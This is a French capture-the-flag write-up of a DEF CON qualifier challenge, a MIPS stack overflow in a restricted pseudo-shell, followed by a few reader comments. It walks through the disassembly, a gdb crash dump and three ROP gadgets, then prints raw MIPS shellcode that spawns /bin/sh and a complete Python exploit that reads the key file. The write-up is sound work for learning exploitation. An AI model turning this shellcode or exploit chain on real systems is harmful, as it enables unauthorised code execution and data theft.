Le pwn 100 était un pseudo-shell restreint qui permettait notamment de transformer des PNG en ASCII Art. C'est le premier pwnable a avoir été dispo (et pendant longtemps le seul d'ailleurs). Je suis parti dans une mauvaise direction pour l'exploitation de ce pwnable et donc on n'a pas réussi à le valider (et les autres avaient mieux à faire que de s'embêter sur un exécutable comme ça pour 100 points, ça ne vaut pas le coup). On commence donc par regarder le type d'exécutable auquel nous avons à faire :
$ file ./pwn100 ./pwn100: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.4.18, stripped
Bon c'est sûr, faut pas s'attendre à du x86 Linux simple sur Defcon, mais voir du MIPS fait peur, personnellement je n'en avais jamais fait. Un petit test sur leur serveur pour essayer d'observer ce que fait l'exécutable :
$ nc 140.197.217.85 1994 IRIX (quals.ddtek.biz) login: ^D IRIX Release 6.5 IP32 ddtek Copyright 1987-2002 Silic0n Graphix, Inc. All Rights Reserved. Last login: Tue Jun 08 20:15:27 GMT 1954 by UNKNOWN@quals.ddtek.biz dd 0% help Available commands: qotd ls png2ascii help exit quit dd 1% ls key .. . dd 2% png2ascii Copy and paste your PNG file and I will convert it to ASCII for you: e [...] dd 3% quit $
L'objectif est apparemment le fichier key. En premier lieu nous avons essayé de trouver la vuln par essais + analyse statique. Comme l'exécutable est statique et strippé, on n'a pas vraiment d'intuition sur le but des fonctions appellées en premier lieu, mais on s'en sort assez facilement en retrouvant les chaînes de caractères représentant les commandes (ls, help, quit) et on trouve la fonction qui les traite à 0x00401554. Il n'y a que peu de commandes disponibles donc le code se comprend bien et on trouve la fonction png2ascii à 0x401BC4. Après initialisation de la pile, le code commence par trois appels de fonctions :
addiu $a1, (aCopyAndPasteYo - 0x990000) move $a2, $0 la $t9, send nop jalr $t9 ; send nop lw $gp, 0x130+var_120($fp) addiu $v0, $fp, 0x130+var_108 move $a0, $v0 move $a1, $0 li $a2, 0x100 la $t9, memset nop jalr $t9 ; memset nop lw $gp, 0x130+var_120($fp) addiu $v0, $fp, 0x130+var_108 lw $a0, 0x130+arg_0($fp) move $a1, $v0 li $a2, 0x200 li $a3, 0xA la $t9, read nop jalr $t9 ; read
Trouver le but des fonctions read et send n'a pas été difficile, en réalité on tombe très vite sur les appels systèmes 4003 et 4178. Un petit coup d'oeil à arch/mips/include/asm/unistd.h de n'importe quel kernel nous donne les appels système correspondants. Les derniers paramètres ressemble à des butées (send until \x00 et read until \x0a). Je n'ai pas vérifié le memset en réalité, mais on voit qu'on a une opération sur un buffer de 0x100 caractères, puis un read de 0x200 vers le même buffer. On teste donc avec 0x100 et 0x101 caractères.
$ python -c "print 'png2ascii\n' + 'A'*256" | nc 140.197.217.85 1994 IRIX (quals.ddtek.biz) login: ^D IRIX Release 6.5 IP32 ddtek Copyright 1987-2002 Silic0n Graphix, Inc. All Rights Reserved. Last login: Tue Jun 08 20:15:27 GMT 1954 by UNKNOWN@quals.ddtek.biz dd 0% Copy and paste your PNG file and I will convert it to ASCII for you: [...] dd 1% ^C $ python -c "print 'png2ascii\n' + 'A'*257" | nc 140.197.217.85 1994 IRIX (quals.ddtek.biz) login: ^D IRIX Release 6.5 IP32 ddtek Copyright 1987-2002 Silic0n Graphix, Inc. All Rights Reserved. Last login: Tue Jun 08 20:15:27 GMT 1954 by UNKNOWN@quals.ddtek.biz dd 0% Copy and paste your PNG file and I will convert it to ASCII for you: [...] $
Dans le deuxième cas, la connexion est interrompue prématurément et on a donc un overflow classique avec fp à payload + 256 et pc à payload + 260. Bon à partir de là la galère a commencé. En premier lieu, trouver un environnement de simulation pour débugguer l'application, ce qui nous a déjà pris pas mal d'heures... Au final, on a trouvé un noyau correct + une image hda pour MIPS little endian, ce qui nous a permis d'avoir un système potable sous qemu.
Ensuite, puisque MIPS n'a pas de NX et vu que l'exécutable était flaggué Linux 2.4.18, j'ai assumé qu'il n'y avait pas d'ASLR non plus. Je me suis dit ez np et j'ai commencé à débugguer en statique et à faire un exploit statique avec un shellcode de base. Une fois l'heure de passer sur le serveur, j'ai vu que les exec pour une même adresse étaient différentes et donc qu'il y avait de l'ASLR... La frustration ne m'a pas permis de prendre le dessus ce week-end mais on va faire comme si tout s'était bien passé :]
Puisqu'il y a ASLR, il fallait en premier lieu voir quels registres on contrôlait pour ensuite chercher des gadgets dans cette base de code énorme. On teste en envoyant 512 caractères pour écraser le maximum :
Program received signal SIGSEGV, Segmentation fault. [Switching to process 1002] 0x41414141 in ?? () (gdb) info reg zero at v0 v1 a0 a1 a2 a3 00000000 00400564 ffffffff 00000002 41414141 009918f0 00000002 00000001 t0 t1 t2 t3 t4 t5 t6 t7 00000009 80000008 804135f8 fffffffc 00000001 00000000 a801d4f5 00000000 s0 s1 s2 s3 s4 s5 s6 s7 10005190 00517e08 7f98a3b2 00000001 7f98a504 10009fe0 00000000 004022e0 t8 t9 k0 k1 gp sp s8 ra 00000000 00000000 00000000 00000000 10010a70 7f98a0e8 41414141 41414141 pc 41414141
Bon ce n'est pas forcément facile à lire comme ça mais on voit qu'on contrôle ra (registre contenant l'adresse de retour), s8 (frame pointer) et a0. Comme la stack est exécutable, le plus simple n'est pas de faire un full return into libc ici, puisque il est difficile de trouver les bonnes adresses des fonctions de la libc, qu'il n'y a pas de vrai équivalent pop/ret et que MIPS est un processeur RISC (donc on est obligés d'utiliser des vrais instructions alignées).
Ici, on a de la chance car s4 contient une adresse de la pile qui est statique par rapport à l'emplacement du buffer : argv. Comme l'exécutable est compilé statiquement, on est sûr qu'il n'y aura pas de différentiel sur la pile en dehors des variables d'environnement et des arguments qui sont placés en dessous de argv qui pointe sur eux. Du coup, je me suis mis à la recherche d'instructions permettant de ramener s4 dans un registre qui peut être exécuté, en y ajoutant un offset arbitraire depuis un registre que nous contrôlons. Il ne faut pas oublier que nous contrôlons 248 bytes après sp lorsque ra est appellé. Pour la faire courte, j'ai choisi les gadgets suivants :
.text:0041FFA0 move $a0, $s4 lw $ra, arg_30($sp) lw $s5, arg_2C($sp) lw $s4, arg_28($sp) lw $s3, arg_24($sp) lw $s2, arg_20($sp) lw $s1, arg_1C($sp) lw $s0, arg_18($sp) move $v0, $a0 jr $ra .text:00441BC4 lw $gp, 0x20+var_10($sp) lw $ra, 0x20+var_4($sp) lw $s0, 0x20+var_8($sp) jr $ra .text:0045CF70 addu $a0, $gp jr $a0
Le premier gadget récupère s4 dans a0, retourne à une valeur arbitraire. Le deuxième mets gp à une valeur arbitraire et retourne dans une autre valeur arbitraire, et le troisième appelle a0 + gp. A coups de patterns, on trouve facilement les endroits dans le payload concernés et le debug nous donne l'offset entre argv et le début de notre buffer : 0xfffffadc.
Il ne reste plus qu'à faire un shellcode viable, qui n'est pas si évident sous x86. Je n'ai pas été vers le bind et le reverse shell car après tout on ne sait pas s'il y a des filtrages en place, et coder un shellcode pour MIPS little endian, ce n'est pas si simple. Devant le peu de shellcodes fonctionnels < 260 bytes que j'ai trouvés, j'en ai refait un pour faire un dup(4, 0) ; dup(4, 1) ; dup(4, 2) ; execve("/bin/sh", ["/bin/sh"], NULL). Bon en vrai, il faudrait faire plusieurs essais, au cas où il y a d'autres connexions actives mais ce n'est pas un gros problème.
En mettant tout cela bout à bout, ça nous donne le petit sploit suivant :
#!/usr/bin/python import socket import struct import select import sys s = socket.socket() s.connect((sys.argv[1], 1994)) s.send("png2ascii\n") ret_addr = 0x41FFA0 ret_addr_2 = 0x441BC4 ret_addr_3 = 0x45CF70 offset=0xfffffadc pattern = [pattern metasploit] shellcode = "\xff\xff\x50\x30\x25\x20\x10\x02\xfb\xff\x0f\x24\x27\x20\xe0\x01\xfd\xff\x0f\x24\x27\x28\xe0\x01\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xfb\xff\x0f\x24\x27\x20\xe0\x01\x01\x01\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xfb\xff\x0f\x24\x27\x20\xe0\x01\xff\xff\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\xff\xff\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xf4\xff\xaf\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf8\xff\xae\xaf\xfc\xff\xa0\xaf\xf4\xff\xa4\x27\xff\xff\x05\x28\xab\x0f\x02\x24\x0c\x01\x01\x01" payload = shellcode payload += pattern[len(shellcode):260] + struct.pack("<I", ret_addr) # a0 = s4 payload += pattern[264:312] + struct.pack("<I", ret_addr_2) # gp = offset payload += pattern[316:336] + struct.pack("<I", offset) payload += pattern[340:348] + struct.pack("<I", ret_addr_3) + pattern[316:512] #a0 += gp, jr ao s.send(payload + "\n") while select.select([s], [], [], 1)[0]: s.recv(1) s.send("cat key\n") ret = "" while select.select([s], [], [], 1)[0]: ret += s.recv(1) print ret
Pour tester, j'ai placé un fichier "key" dans /home/irix/ contenant "key file content" :
$ ./sploit.py localhost key file content $
Il n'empêche que c'est exactement ce que je n'aime pas dans le CTF de ddtek. En soit, l'épreuve est sympa, permet de découvrir une archi qu'on a pas forcément l'habitude de manipuler. Mais trouver et installer un environnement de simu + analyse d'un exécutable statique MIPS + fausse indication de version + fabriquer un shellcode MIPS + trouver des gadgets corrects dans l'exécutable = 100 points ... Quand à côté le grab bag 100 c'est compléter la phrase "Hack the planet" avec un point d'interrogation ou le urandom 100 c'est compter le nombre d'occurences de "developper" dans une vidéo, perso je trouve ça nul. D'autant que de mon point de vue, les pwn200 et 300 sous FreeBSD étaient plus simples et classiques, mais c'est la vie et ça n'empêche pas les meilleurs de gagner.
Et il y avait encore plus simple : http://pastebin.com/eqzdtwmw . Bon j'avais vraiment pas les idées claires ce w-e... Mais au moins mon sploit est joli x)
Bonne remarque, j'ai pas réfléchi, les exec différentes c'était juste des aléas de bufferisation des entrées/sorties probablement, mais vu qu'il n'y avait qu'un fork() ça changeait rien :x
Je comprends pas trop comment vous avez observé des exec différentes, LSE eux ils ont juste bruteforce la pile je crois.